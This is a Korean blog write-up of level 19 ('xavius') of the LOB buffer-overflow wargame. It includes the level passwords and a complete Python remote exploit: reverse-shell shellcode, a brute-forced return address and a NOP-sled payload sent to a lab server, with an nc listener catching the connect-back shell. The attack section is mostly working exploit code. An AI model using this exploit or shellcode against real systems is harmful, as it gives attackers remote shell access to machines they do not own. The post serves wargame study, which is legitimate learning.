일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | |||
5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 | 20 | 21 | 22 | 23 | 24 | 25 |
26 | 27 | 28 | 29 | 30 | 31 |
Tags
- go channel
- LOB
- JUCE라이브러리
- Nebula
- Docker
- JUCE library
- a tour of go
- 운영체제
- tour of go
- C++ gui
- 백준
- gui
- BOJ
- 리듬게임
- JUCE
- 공룡책
- go
- c++ heap
- vim-go
- 프로그래밍
- JUCE 튜토리얼
- 코딩
- C언어
- 알고리즘
- C++
- 자료구조
- 연결리스트
- C++ gui 라이브러리
- C++ library
- OS
Archives
- Today
- Total
CafeM0ca
[LOB]level19 xavius 본문
반응형
ID:xavius
PW:throw me away
리모트BOF다.
서버쪽은 소켓생성-주소,포트설정-연결 대기-연결 수락/거절-메시지 주고받기-소켓제거
클라이언트는 소켓생성-연결 신청-메시지 주고받기-소켓제거
모카가 해야할꺼는 클라이언트다.
버퍼는 ebp-40부분에있다. 256바이트를 recv함수로받으니 오버플로우 취약점이 존재한다.
리버스 쉘코드를 사용할꺼다.
peda에서 shellcode generate로 만들었다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | from socket import * import struct p = lambda x: struct.pack("<I",x) shell = "\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x89 \xe1\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x5b \x5a\x68\xc0\xa8\x00\x05\x66\x68\x2b\x67\x43\x66\x53 \x89\xe1\xb0\x66\x50\x51\x53\x89\xe1\x43\xcd\x80\x52 \x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52 \x53\x89\xe1\xb0\x0b\xcd\x80" for i in range(0xbfffffff,0xbffff000,-0x20): s = socket(AF_INET,SOCK_STREAM) #소켓생성 s.connect(("192.168.92.129",6666)) #소켓연결 print s.recv(60) #서버의 send print s.recv(10) #서버로 send payload = "A"*44+p(i)+"\x90"*100+shell s.send(payload) #서버의 recv | cs |
다른터미널에서 nc로 listen상태가되면 클라이언트가 리버스쉘(쉘코드에 다른곳으로 연결하는 내용이 담김)로 또 다른 터미널로 접속한다.
공격자 클라이언트1 -> 서버 -> 공격자 서버
1.클라이언트1이 서버로 리버스쉘을 보냄.
2.서버가 리버스쉘을 실행하면서 공격자 서버로 접속을 시도함.
3.공격자 서버에서 권한을 획득
nc -lvp 열은 포트
level20 death_knight
ID:death_knight
PW:got the life
반응형
'Hacking > LOB(Red Hat)' 카테고리의 다른 글
[LOB]RedHat write up pdf (0) | 2018.06.22 |
---|---|
[LOB]level18 nightmare (0) | 2018.01.23 |
[LOB]level17 succubus (0) | 2018.01.20 |
[LOB]level16 zombie_assassin (0) | 2018.01.19 |
[LOB]level15 assassin (0) | 2018.01.18 |
Comments